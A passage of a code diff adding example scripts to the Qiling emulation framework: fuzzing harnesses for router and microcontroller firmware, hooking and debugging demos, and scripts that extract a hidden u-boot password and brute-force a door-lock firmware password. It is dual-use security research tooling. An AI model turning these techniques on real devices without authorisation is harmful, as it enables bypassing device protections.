Then, run this file using afl++ unicorn mode with
afl-fuzz -i ./afl_inputs -o ./afl_outputs -m none -U -- python3 ./fuzz_x8664_linux.py @@
"""
# No more need for importing unicornafl, try ql.afl_fuzz instead!
import sys, os
from binascii import hexlify
sys.path.append("../../..")
from qiling import *
from qiling.extensions import pipe
from qiling.extensions.afl import ql_afl_fuzz
def main(input_file, enable_trace=False):
ql = Qiling(["./arm_fuzz"], "../../rootfs/arm_qnx", console=enable_trace)
ql.os.stdin = pipe.SimpleInStream(sys.stdin.fileno())
if not enable_trace:
ql.os.stdout = pipe.NullOutStream(sys.stdout.fileno())
ql.os.stderr = pipe.NullOutStream(sys.stderr.fileno())
def place_input_callback(ql: Qiling, input: bytes, _: int):
ql.os.stdin.write(input)
return True
def start_afl(_ql: Qiling):
ql_afl_fuzz(_ql, input_file=input_file, place_input_callback=place_input_callback, exits=[ql.os.exit_point])
LIBC_BASE = int(ql.profile.get("OS32", "interp_address"), 16)
# crash in case we reach SignalKill
ql.hook_address(callback=lambda x: os.abort(), address=LIBC_BASE + 0x38170)
# Add hook at main() that will fork Unicorn and start instrumentation.
main_addr = 0x08048aa0
ql.hook_address(callback=start_afl, address=main_addr)
if enable_trace:
# The following lines are only for `-t` debug output
md = ql.arch.disassembler
count = [0]
def spaced_hex(data):
return b' '.join(hexlify(data)[i:i+2] for i in range(0, len(hexlify(data)), 2)).decode('utf-8')
def disasm(count, ql, address, size):
buf = ql.mem.read(address, size)
try:
for i in md.disasm(buf, address):
return "{:08X}\t{:08X}: {:24s} {:10s} {:16s}".format(count[0], i.address, spaced_hex(buf), i.mnemonic,
i.op_str)
except:
import traceback
print(traceback.format_exc())
def trace_cb(ql, address, size, count):
rtn = '{:100s}'.format(disasm(count, ql, address, size))
print(rtn)
count[0] += 1
ql.hook_code(trace_cb, count)
# okay, ready to roll.
# try:
ql.run()
# except Exception as ex:
# # Probable unicorn memory error. Treat as crash.
# print(ex)
# os.abort()
os._exit(0) # that's a looot faster than tidying up.
if __name__ == "__main__":
if len(sys.argv) == 1:
raise ValueError("No input file provided.")
if len(sys.argv) > 2 and sys.argv[1] == "-t":
main(sys.argv[2], enable_trace=True)
else:
main(sys.argv[1])
+56
View File
@@ -0,0 +1,56 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import os
import sys
from typing import Any, Optional
sys.path.append("../../..")
from qiling.core import Qiling
from qiling.const import QL_VERBOSE
from qiling.extensions.afl import ql_afl_fuzz_custom
from qiling.extensions.mcu.stm32f4 import stm32f429
from unicorn import UC_ERR_OK, UcError
def main(input_file: str):
ql = Qiling(["../../rootfs/mcu/stm32f429/bof.elf"],
archtype="cortex_m",
env=stm32f429,
ostype='mcu',
verbose=QL_VERBOSE.DISABLED)
ql.hw.create('rcc')
ql.hw.create('usart2')
ql.hw.create('usart3')
ql.fast_mode = True
def place_input_callback(ql: Qiling, input_bytes: bytes, persistent_round: int) -> Optional[bool]:
"""Called with every newly generated input."""
ql.hw.usart3.send(input_bytes)
return True
def fuzzing_callback(ql: Qiling):
ql.run(end=0x80006d9)
return UC_ERR_OK
ql.uc.ctl_exits_enabled(True)
ql.uc.ctl_set_exits([0x80006d9])
ql_afl_fuzz_custom(ql, input_file, place_input_callback, fuzzing_callback=fuzzing_callback)
os.exit(0)
if __name__ == "__main__":
if len(sys.argv) == 1:
raise ValueError("No input file provided.")
main(sys.argv[1])
@@ -0,0 +1,63 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
# 1. Download AC15 Firmware from https://down.tenda.com.cn/uploadfile/AC15/US_AC15V1.0BR_V15.03.05.19_multi_TD01.zip
# 2. unzip
# 3. binwalk -e US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin
# 4. locate squashfs-root
# 5. rm -rf webroot && mv webroot_ro webroot
# 5. mv etc_ro etc
import os, pickle, socket, sys, threading
sys.path.append("../../../")
from qiling import *
from qiling.const import QL_VERBOSE
from qiling.extensions.afl import ql_afl_fuzz
def patcher(ql):
br0_addr = ql.mem.search("br0".encode() + b'\x00')
for addr in br0_addr:
ql.mem.write(addr, b'lo\x00')
def main(input_file, enable_trace=False):
ql = Qiling(["rootfs/bin/httpd"], "rootfs", verbose=QL_VERBOSE.DEBUG, console = True if enable_trace else False)
# save current emulated status
ql.restore(snapshot="snapshot.bin")
# return should be 0x7ff3ca64
fuzz_mem=ql.mem.search(b"CCCCAAAA")
target_address = fuzz_mem[0]
def place_input_callback(_ql: Qiling, input: bytes, _):
_ql.mem.write(target_address, input)
def start_afl(_ql: Qiling):
"""
Callback from inside
"""
ql_afl_fuzz(_ql, input_file=input_file, place_input_callback=place_input_callback, exits=[ql.os.exit_point])
ql.hook_address(callback=start_afl, address=0x10930+8)
try:
ql.run(begin = 0x10930+4, end = 0x7a0cc+4)
os._exit(0)
except:
if enable_trace:
print("\nFuzzer Went Shit")
os._exit(0)
if __name__ == "__main__":
if len(sys.argv) == 1:
raise ValueError("No input file provided.")
if len(sys.argv) > 2 and sys.argv[1] == "-t":
main(sys.argv[2], enable_trace=True)
else:
main(sys.argv[1])
@@ -0,0 +1,78 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
# 1. Download AC15 Firmware from https://down.tenda.com.cn/uploadfile/AC15/US_AC15V1.0BR_V15.03.05.19_multi_TD01.zip
# 2. unzip
# 3. binwalk -e US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin
# 4. locate squashfs-root
# 5. rm -rf webroot && mv webroot_ro webroot
#
# notes: we are using rootfs in this example, so rootfs = squashfs-root
#
import ctypes, os, pickle, socket, sys, threading
sys.path.append("..")
from qiling import *
from qiling.const import QL_VERBOSE
def nvram_listener():
server_address = 'rootfs/var/cfm_socket'
data = ""
try:
os.unlink(server_address)
except OSError:
if os.path.exists(server_address):
raise
# Create UDS socket
sock = socket.socket(socket.AF_UNIX,socket.SOCK_STREAM)
sock.bind(server_address)
sock.listen(1)
while True:
connection, client_address = sock.accept()
try:
while True:
data += str(connection.recv(1024))
if "lan.webiplansslen" in data:
connection.send('192.168.170.169'.encode())
else:
break
data = ""
finally:
connection.close()
def save_context(ql, *args, **kw):
ql.save(cpu_context=False, snapshot="snapshot.bin")
def patcher(ql):
br0_addr = ql.mem.search("br0".encode() + b'\x00')
for addr in br0_addr:
ql.mem.write(addr, b'lo\x00')
def check_pc(ql):
print("=" * 50)
print("Hit fuzz point, stop at PC = 0x%x" % ql.arch.regs.arch_pc)
print("=" * 50)
ql.emu_stop()
def my_sandbox(path, rootfs):
ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG)
ql.add_fs_mapper("/dev/urandom","/dev/urandom")
ql.hook_address(save_context, 0x10930)
ql.hook_address(patcher, ql.loader.elf_entry)
ql.hook_address(check_pc, 0x7a0cc)
ql.run()
if __name__ == "__main__":
nvram_listener_therad = threading.Thread(target=nvram_listener, daemon=True)
nvram_listener_therad.start()
my_sandbox(["rootfs/bin/httpd"], "rootfs")
+14
View File
@@ -0,0 +1,14 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("..")
from qiling import Qiling
from qiling.const import QL_VERBOSE
if __name__ == "__main__":
ql = Qiling(["rootfs/8086/dos/HI.DOS_COM"], "rootfs/8086/dos", verbose=QL_VERBOSE.DEFAULT)
ql.run()
@@ -0,0 +1,45 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("..")
from qiling import Qiling
from qiling.const import QL_VERBOSE
# customized system calls always use the same arguments list as the original ones,
# but with a Qiling instance as first argument
def my_syscall_write(ql: Qiling, fd: int, buf: int, count: int):
try:
# read data from emulated memory
data = ql.mem.read(buf, count)
# select the emulated file object that corresponds to the requested
# file descriptor
fobj = ql.os.fd[fd]
# write the data into the file object, if it supports write operations
if hasattr(fobj, 'write'):
fobj.write(data)
except:
ret = -1
else:
ret = count
ql.log.info(f'my_syscall_write({fd}, {buf:#x}, {count}) = {ret}')
return ret
if __name__ == "__main__":
ql = Qiling([r'rootfs/arm_linux/bin/arm_hello'], r'rootfs/arm_linux', verbose=QL_VERBOSE.DEBUG)
# replacing a system call with a custom implementation.
# note that system calls may be referred to either by their name or number.
ql.os.set_syscall(0x04, my_syscall_write)
# an possible alternative: refer to a syscall by its name
#ql.os.set_syscall('write', my_syscall_write)
ql.run()
+21
View File
@@ -0,0 +1,21 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("..")
from qiling import Qiling
from qiling.const import QL_VERBOSE
if __name__ == "__main__":
ql = Qiling([r'rootfs/arm_linux/bin/arm_hello'], r'rootfs/arm_linux', verbose=QL_VERBOSE.DEBUG)
ql.debugger = "qdb" # enable qdb without options
# other possible alternatives:
# ql.debugger = "qdb::rr" # switch on record and replay with rr
# ql.debugger = "qdb:0x1030c" # enable qdb and setup breakpoin at 0x1030c
ql.run()
+13
View File
@@ -0,0 +1,13 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("..")
from qiling import Qiling
if __name__ == "__main__":
ql = Qiling(["rootfs/arm_qnx/bin/hello_static"], "rootfs/arm_qnx")
ql.run()
+37
View File
@@ -0,0 +1,37 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("..")
from qiling import Qiling
from qiling.const import QL_INTERCEPT, QL_CALL_BLOCK
from qiling.os.const import STRING
def my_puts_onenter(ql: Qiling):
params = ql.os.resolve_fcall_params({'s': STRING})
print(f'puts("{params["s"]}")')
return QL_CALL_BLOCK
def my_printf_onenter(ql: Qiling):
params = ql.os.resolve_fcall_params({'s': STRING})
print(f'printf("{params["s"]}")')
return QL_CALL_BLOCK
def my_puts_onexit(ql: Qiling):
print(f'after puts')
return QL_CALL_BLOCK
if __name__ == "__main__":
ql = Qiling(["rootfs/arm_qnx/bin/hello_static"], "rootfs/arm_qnx")
ql.os.set_api('puts', my_puts_onenter, QL_INTERCEPT.ENTER)
ql.os.set_api('printf', my_printf_onenter, QL_INTERCEPT.ENTER)
ql.os.set_api('puts', my_puts_onexit, QL_INTERCEPT.EXIT)
ql.run()
+14
View File
@@ -0,0 +1,14 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("..")
from qiling import Qiling
if __name__ == "__main__":
ql = Qiling(["rootfs/arm_linux/bin/arm_hello"], "rootfs/arm_linux")
ql.filter = r"^open"
ql.run()
+74
View File
@@ -0,0 +1,74 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("..")
from qiling.core import Qiling
from qiling.const import QL_VERBOSE
from qiling.os.const import STRING
def get_kaimendaji_password():
def my_getenv(ql: Qiling):
env = {
"ID" : b"000000000000000",
"ethaddr" : b"11:22:33:44:55:66"
}
params = ql.os.resolve_fcall_params({'key': STRING})
value = env.get(params["key"], b"")
value_addr = ql.os.heap.alloc(len(value))
ql.mem.write(value_addr, value)
ql.arch.regs.r0 = value_addr
ql.arch.regs.arch_pc = ql.arch.regs.lr
def get_password(ql: Qiling):
password_raw = ql.mem.read(ql.arch.regs.r0, ql.arch.regs.r2)
password = ''
for item in password_raw:
if 0 <= item <= 9:
password += chr(item + 48)
else:
password += chr(item + 87)
print("The password is: %s" % password)
def partial_run_init(ql: Qiling):
# argv prepare
ql.arch.regs.arch_sp -= 0x30
arg0_ptr = ql.arch.regs.arch_sp
ql.mem.write(arg0_ptr, b"kaimendaji")
ql.arch.regs.arch_sp -= 0x10
arg1_ptr = ql.arch.regs.arch_sp
ql.mem.write(arg1_ptr, b"000000") # arbitrary password
ql.arch.regs.arch_sp -= 0x20
argv_ptr = ql.arch.regs.arch_sp
ql.mem.write_ptr(argv_ptr, arg0_ptr)
ql.mem.write_ptr(argv_ptr + ql.arch.pointersize, arg1_ptr)
ql.arch.regs.r2 = 2
ql.arch.regs.r3 = argv_ptr
with open("../examples/rootfs/blob/u-boot.bin.img", "rb") as f:
uboot_code = f.read()
ql = Qiling(code=uboot_code[0x40:], archtype="arm", ostype="blob", profile="uboot_bin.ql", verbose=QL_VERBOSE.OFF)
image_base_addr = ql.loader.load_address
ql.hook_address(my_getenv, image_base_addr + 0x13AC0)
ql.hook_address(get_password, image_base_addr + 0x48634)
partial_run_init(ql)
ql.run(image_base_addr + 0x486B4, image_base_addr + 0x48718)
if __name__ == "__main__":
get_kaimendaji_password()
@@ -0,0 +1,30 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("..")
from qiling import Qiling
from qiling.const import QL_INTERCEPT
from qiling.os.linux.syscall_nums import SYSCALL_NR
def write_onenter(ql: Qiling, fd: int, buf: int, count: int):
print("enter write syscall!")
ql.arch.regs.rsi = buf + 1
ql.arch.regs.rdx = count - 1
def write_onexit(ql: Qiling, fd: int, buf: int, count: int, retval: int):
print("exit write syscall!")
ql.arch.regs.rax = count + 1
if __name__ == "__main__":
ql = Qiling(["rootfs/x8664_linux/bin/x8664_hello"], "rootfs/x8664_linux")
ql.os.set_syscall(SYSCALL_NR.write, write_onenter, QL_INTERCEPT.ENTER)
ql.os.set_syscall(SYSCALL_NR.write, write_onexit, QL_INTERCEPT.EXIT)
ql.run()
@@ -0,0 +1,21 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("..")
from qiling import Qiling
from qiling.os.const import STRING
from qiling.const import QL_VERBOSE
def my_puts(ql: Qiling):
params = ql.os.resolve_fcall_params({'s': STRING})
print(f'puts("{params["s"]}")')
if __name__ == "__main__":
ql = Qiling(["rootfs/mips32_linux/bin/mips32_hello"], "rootfs/mips32_linux", verbose=QL_VERBOSE.DEBUG)
ql.os.set_api("puts", my_puts)
ql.run()
@@ -0,0 +1,14 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("..")
from qiling import Qiling
from qiling.const import QL_VERBOSE
if __name__ == "__main__":
ql = Qiling(["rootfs/mips32el_linux/bin/mips32el_hello_static"], "rootfs/mips32el_linux", verbose=QL_VERBOSE.DEBUG)
ql.run()
@@ -0,0 +1,29 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("..")
from qiling import Qiling
from qiling.const import QL_INTERCEPT, QL_CALL_BLOCK, QL_VERBOSE
from qiling.os.const import STRING
def my_puts_onenter(ql: Qiling):
params = ql.os.resolve_fcall_params({'s': STRING})
print(f'puts("{params["s"]}")')
return QL_CALL_BLOCK
def my_puts_onexit(ql: Qiling):
print(f'after puts')
return QL_CALL_BLOCK
if __name__ == "__main__":
ql = Qiling(["rootfs/mips32el_linux/bin/mips32el_double_hello"], "rootfs/mips32el_linux", verbose=QL_VERBOSE.DEBUG)
ql.os.set_api('puts', my_puts_onenter, QL_INTERCEPT.ENTER)
ql.os.set_api('puts', my_puts_onexit, QL_INTERCEPT.EXIT)
ql.run()
+15
View File
@@ -0,0 +1,15 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("..")
from qiling import Qiling
from qiling.const import QL_VERBOSE
if __name__ == "__main__":
ql = Qiling(["rootfs/x8664_linux/bin/x8664_hello"], "rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG)
ql.debugger = "gdb:0.0.0.0:9999"
ql.run()
@@ -0,0 +1,20 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("..")
from qiling import Qiling
from qiling.os.const import STRING
from qiling.const import QL_VERBOSE
def my_puts(ql: Qiling):
params = ql.os.resolve_fcall_params({'s': STRING})
print(f'puts("{params["s"]}")')
if __name__ == "__main__":
ql = Qiling(["rootfs/x8664_linux/bin/x8664_hello"], "rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG)
ql.os.set_api('puts', my_puts)
ql.run()
+74
View File
@@ -0,0 +1,74 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("..")
from typing import Mapping
from capstone import Cs
from qiling import Qiling
def __map_regs() -> Mapping[int, int]:
"""Map Capstone x86 regs definitions to Unicorn's.
"""
from capstone import x86_const as cs_x86_const
from unicorn import x86_const as uc_x86_const
def __canonicalized_mapping(module, prefix: str) -> Mapping[str, int]:
return dict((k[len(prefix):], getattr(module, k)) for k in dir(module) if k.startswith(prefix))
cs_x86_regs = __canonicalized_mapping(cs_x86_const, 'X86_REG')
uc_x86_regs = __canonicalized_mapping(uc_x86_const, 'UC_X86_REG')
return dict((cs_x86_regs[k], uc_x86_regs[k]) for k in cs_x86_regs if k in uc_x86_regs)
# capstone to unicorn regs mapping
CS_UC_REGS = __map_regs()
def trace(ql: Qiling, address: int, size: int, md: Cs):
"""Emit tracing info for each and every instruction that is about to be executed.
Args:
ql: the qiling instance
address: the address of the instruction that is about to be executed
size: size of the instruction (in bytes)
md: initialized disassembler object
"""
# read current instruction bytes and disassemble it
buf = ql.mem.read(address, size)
insn = next(md.disasm(buf, address))
nibbles = ql.arch.bits // 4
color_faded = '\033[2m'
color_reset = '\033[0m'
# get values of the registers referenced by this instruction.
#
# note: since this method is called before the instruction has been emulated, the 'rip'
# register still points to the current instruction, while the instruction considers it
# as if it was pointing to the next one. that will cause 'rip' to show an incorrect value
reads = (f'{md.reg_name(reg)} = {ql.arch.regs.read(CS_UC_REGS[reg]):#x}' for reg in insn.regs_access()[0])
# construct a human-readable trace line
trace_line = f'{insn.address:0{nibbles}x} | {insn.bytes.hex():24s} {insn.mnemonic:12} {insn.op_str:35s} | {", ".join(reads)}'
# emit the trace line in a faded color, so it would be easier to tell trace info from other log entries
ql.log.info(f'{color_faded}{trace_line}{color_reset}')
if __name__ == "__main__":
ql = Qiling([r"rootfs/x8664_linux/bin/x8664_hello"], r"rootfs/x8664_linux")
# acquire a disassembler instance bound to arch
md = ql.arch.disassembler
md.detail = True
# register the trace method to be called before each instruction
ql.hook_code(trace, user_data=md)
# go!
ql.run()
@@ -0,0 +1,67 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("..")
from qiling import Qiling
from qiling.const import QL_VERBOSE
def dump(ql, *args, **kw):
ql.save(reg=False, cpu_context=True, snapshot="/tmp/snapshot.bin")
ql.emu_stop()
if __name__ == "__main__":
ql = Qiling(["rootfs/x8664_linux/bin/sleep_hello"], "rootfs/x8664_linux", verbose=QL_VERBOSE.DEFAULT)
# load base address from profile file
X64BASE = int(ql.profile.get("OS64", "load_address"), 16)
# take a snapshot
ql.hook_address(dump, X64BASE + 0x1094)
ql.run()
ql = Qiling(["rootfs/x8664_linux/bin/sleep_hello"], "rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG)
X64BASE = int(ql.profile.get("OS64", "load_address"), 16)
ql.restore(snapshot="/tmp/snapshot.bin")
# enable gdbserver to listen at localhost address, port 9999
ql.debugger = "gdb:0.0.0.0:9999"
begin_point = X64BASE + 0x109e
end_point = X64BASE + 0x10bc
ql.run(begin = begin_point, end = end_point)
'''
Partial Execution: https://docs.qiling.io/en/latest/snapshot/
This example shows how to partially debug an elf file. First let the program run, hook at the main address and take a snapshot. Then resume the snapshot to construct a reasonable call_state (registers, memory mapping, dynamic library loading, etc) for our target piece of code, and directly assign the pc pointer to the beginning of the part you want to simulate.
Run it with:
$ python3 hello_x8664_linux_part_debug.py
Then in a new terminal start gdb remote debug:
$ gdb -q
(gdb) target remote localhost:9999
Remote debugging using localhost:9999
Reading /home/qiling/examples/rootfs/x8664_linux/bin/sleep_hello from remote target...
warning: File transfers from remote targets can be slow. Use "set sysroot" to access files locally instead.
Reading /home/qiling/examples/rootfs/x8664_linux/bin/sleep_hello from remote target...
Reading symbols from target:/home/qiling/examples/rootfs/x8664_linux/bin/sleep_hello...(no debugging symbols found)...done.
warning: unable to open /proc file '/proc/42000/task/42000/maps'
Reading /lib64/ld-linux-x86-64.so.2 from remote target...
Reading /lib64/ld-linux-x86-64.so.2 from remote target...
Reading symbols from target:/lib64/ld-linux-x86-64.so.2...Reading /lib64/ld-2.27.so from remote target...
Reading /lib64/.debug/ld-2.27.so from remote target...
(no debugging symbols found)...done.
0x000055555555509e in ?? ()
(gdb) x/8i $pc
=> 0x55555555509e: lea 0xf83(%rip),%rdi # 0x555555556028
0x5555555550a5: callq 0x555555555060
0x5555555550aa: lea 0xf53(%rip),%rdi # 0x555555556004
0x5555555550b1: callq 0x555555555060
0x5555555550b6: xor %eax,%eax
0x5555555550b8: add $0x8,%rsp
0x5555555550bc: retq
0x5555555550bd: nopl (%rax)
The source code of sleep_hello can be found at qiling/examples/src/linux/sleep_hello.c. As the above gdb output shows, we skipped the sleep function to directly debug the code afterwards.
'''
@@ -0,0 +1,29 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("..")
from qiling import Qiling
from qiling.const import QL_VERBOSE
if __name__ == "__main__":
def dump(ql, *args, **kw):
ql.save(reg=False, cpu_context=True, snapshot="/tmp/snapshot.bin")
ql.emu_stop()
ql = Qiling(["rootfs/x8664_linux/bin/sleep_hello"], "rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG)
X64BASE = int(ql.profile.get("OS64", "load_address"), 16)
ql.hook_address(dump, X64BASE + 0x1094)
ql.run()
ql = Qiling(["rootfs/x8664_linux/bin/sleep_hello"], "rootfs/x8664_linux", verbose=QL_VERBOSE.DISASM)
# load base address from profile file
X64BASE = int(ql.profile.get("OS64", "load_address"), 16)
ql.restore(snapshot="/tmp/snapshot.bin")
# set execution starting and ending points
begin_point = X64BASE + 0x109e
end_point = X64BASE + 0x10bc
ql.run(begin = begin_point, end = end_point)
+14
View File
@@ -0,0 +1,14 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("..")
from qiling import Qiling
from qiling.const import QL_VERBOSE
if __name__ == "__main__":
ql = Qiling(["rootfs/x8664_macos/bin/x8664_hello"], "rootfs/x8664_macos", verbose=QL_VERBOSE.DEBUG)
ql.run()
@@ -0,0 +1,49 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("..")
from qiling import Qiling
from qiling.const import QL_VERBOSE, QL_INTERCEPT
from qiling.os.windows.api import STRING
from qiling.os.windows.fncc import *
@winsdkapi(cc=CDECL, params={
"str" : STRING
})
def my_puts(ql: Qiling, address: int, params):
ql.log.info(f'puts was overriden by this hook')
# puts is expected to return the string length
return len(params["str"])
def my_onenter(ql: Qiling, address: int, params):
print(f'[onenter] _cexit : params = {params}')
# return an alternative set of parameters to be used by the
# actual function, that will execute as soon as this one returns
params = {
'hKey' : 0x80000001,
'lpSubKey' : 'Software',
'phkResult' : 0xffffcfb4
}
return address, params
def my_onexit(ql: Qiling, address: int, params, retval: int):
print(f'[onexit] atexit : params = {params}')
def my_sandbox(path, rootfs):
ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG)
ql.os.set_api("_cexit", my_onenter, QL_INTERCEPT.ENTER)
ql.os.set_api("puts", my_puts, QL_INTERCEPT.CALL)
ql.os.set_api("atexit", my_onexit, QL_INTERCEPT.EXIT)
ql.run()
if __name__ == "__main__":
my_sandbox(["rootfs/x8664_windows/bin/x8664_hello.exe"], "rootfs/x8664_windows")
@@ -0,0 +1,26 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
from sys import path
path.append('..')
from qiling import Qiling
from qiling.os.mapper import QlFsMappedObject
class Fake_urandom(QlFsMappedObject):
def read(self, size):
return b"\x01" # fixed value for reading /dev/urandom
def fstat(self): # syscall fstat will ignore it if return -1
return -1
def close(self):
return 0
if __name__ == "__main__":
ql = Qiling(["rootfs/x86_linux/bin/x86_fetch_urandom"], "rootfs/x86_linux")
ql.add_fs_mapper("/dev/urandom", Fake_urandom())
ql.run()
+29
View File
@@ -0,0 +1,29 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("../..")
from qiling.core import Qiling
from qiling.const import QL_VERBOSE
from qiling.extensions.mcu.gd32vf1 import gd32vf103
ql = Qiling(['../rootfs/mcu/gd32vf103/blink.hex'], archtype="riscv64", ostype="mcu",
env=gd32vf103, verbose=QL_VERBOSE.DEBUG)
ql.hw.create('rcu')
ql.hw.create('gpioa').watch()
ql.hw.create('gpioc').watch()
delay_cycles_begin = 0x800015c
delay_cycles_end = 0x800018c
def skip_delay(ql):
ql.arch.regs.pc = delay_cycles_end
ql.hook_address(skip_delay, delay_cycles_begin)
ql.hw.gpioc.hook_set(13, lambda : print('Set PC13'))
ql.run(count=20000)
+37
View File
@@ -0,0 +1,37 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("../..")
from qiling.core import Qiling
from qiling.const import QL_VERBOSE
from qiling.extensions.mcu.stm32f4 import stm32f407
from qiling.hw.external_device.oled.ssd1306 import PyGameSSD1306Spi
ql = Qiling(["../rootfs/mcu/stm32f407/ai-sine-test.elf"],
archtype="cortex_m", ostype="mcu", env=stm32f407, verbose=QL_VERBOSE.DEFAULT)
ql.hw.create('rcc')
ql.hw.create('pwr')
ql.hw.create('flash interface')
ql.hw.create('gpioa')
ql.hw.create('gpiob')
ql.hw.create('gpiod')
ql.hw.create('spi1')
ql.hw.create('crc')
ql.hw.create('dbgmcu')
oled = PyGameSSD1306Spi(dc=(ql.hw.gpiod, 5))
ql.hw.spi1.connect(oled)
def indicator(ql):
ql.log.info('PA7 set')
ql.hw.gpioa.hook_set(7, indicator, ql)
ql.hw.systick.ratio = 1000
ql.run(count=800000)
+63
View File
@@ -0,0 +1,63 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
from multiprocessing import Pool
from multiprocessing import Process
sys.path.append("../..")
from qiling.core import Qiling
from qiling.const import QL_VERBOSE
from qiling.extensions.mcu.stm32f4 import stm32f407
def dicts():
a = 0x79df7
b = 0x75ee0
c = 0xcc5ee
M = 0xf4247
for x in range(1, 20):
yield str((a*x*x + b*x + c) % M)
# Cracking the passwd of lock
def crack(passwd):
ql = Qiling(["../../examples/rootfs/mcu/stm32f407/backdoorlock.hex"],
archtype="cortex_m", ostype="mcu", env=stm32f407, verbose=QL_VERBOSE.DISABLED)
ql.hw.create('spi2')
ql.hw.create('gpioe')
ql.hw.create('gpiof')
ql.hw.create('usart1')
ql.hw.create('rcc')
ql.hw.show_info()
print('Testing passwd', passwd)
ql.patch(0x8000238, b'\x00\xBF' * 4)
ql.patch(0x80031e4, b'\x00\xBF' * 11)
ql.patch(0x80032f8, b'\x00\xBF' * 13)
ql.patch(0x80013b8, b'\x00\xBF' * 10)
ql.hw.usart1.send(passwd.encode() + b'\r')
ql.hw.systick.set_ratio(100)
ql.run(count=1000000, end=0x8003225)
if ql.arch.effective_pc == 0x8003225:
print('Success, the passwd is', passwd)
else:
print('Fail, the passwd is not', passwd)
del ql
pool = Pool()
for passwd in dicts():
pool.apply_async(crack, args=(passwd,))
pool.close()
pool.join()
+37
View File
@@ -0,0 +1,37 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("../..")
from qiling.core import Qiling
from qiling.const import QL_VERBOSE
from qiling.extensions.mcu.stm32f4 import stm32f407
from qiling.hw.external_device.oled.ssd1306 import PyGameSSD1306Spi
ql = Qiling(["../rootfs/mcu/stm32f407/mnist.bin", 0x8000000],
archtype="cortex_m", ostype="mcu", env=stm32f407, verbose=QL_VERBOSE.DEFAULT)
ql.hw.create('rcc')
ql.hw.create('gpiod')
ql.hw.create('spi1')
ql.hw.create('crc')
ql.hw.create('dbgmcu')
oled = PyGameSSD1306Spi(dc=(ql.hw.gpiod, 5))
ql.hw.spi1.connect(oled)
ql.hw.systick.ratio = 1000
## a temporary method
def hook_smlabb(ql):
ql.arch.regs.r3 = ql.arch.regs.r2 + ql.arch.regs.r1 * ql.arch.regs.r3
ql.arch.regs.pc = (ql.arch.regs.pc + 4) | 1
ql.hook_address(hook_smlabb, 0x8007a12)
ql.hook_address(hook_smlabb, 0x8007b60)
ql.run()
+30
View File
@@ -0,0 +1,30 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("../..")
from qiling.core import Qiling
from qiling.const import QL_VERBOSE
from qiling.extensions.mcu.stm32f4 import stm32f411
def stm32f411_dma():
ql = Qiling(["../rootfs/mcu/stm32f411/dma-clock.hex"],
archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEBUG)
ql.hw.create('usart2').watch()
ql.hw.create('dma1').watch()
ql.hw.create('rcc')
ql.run(count=200000)
buf = ql.hw.usart2.recv()
## check timestamp
tick = [int(x) for x in buf.split()]
for i in range(1, len(tick)):
assert(4 <= tick[i] - tick[i - 1] <= 6)
if __name__ == "__main__":
stm32f411_dma()
+26
View File
@@ -0,0 +1,26 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("../..")
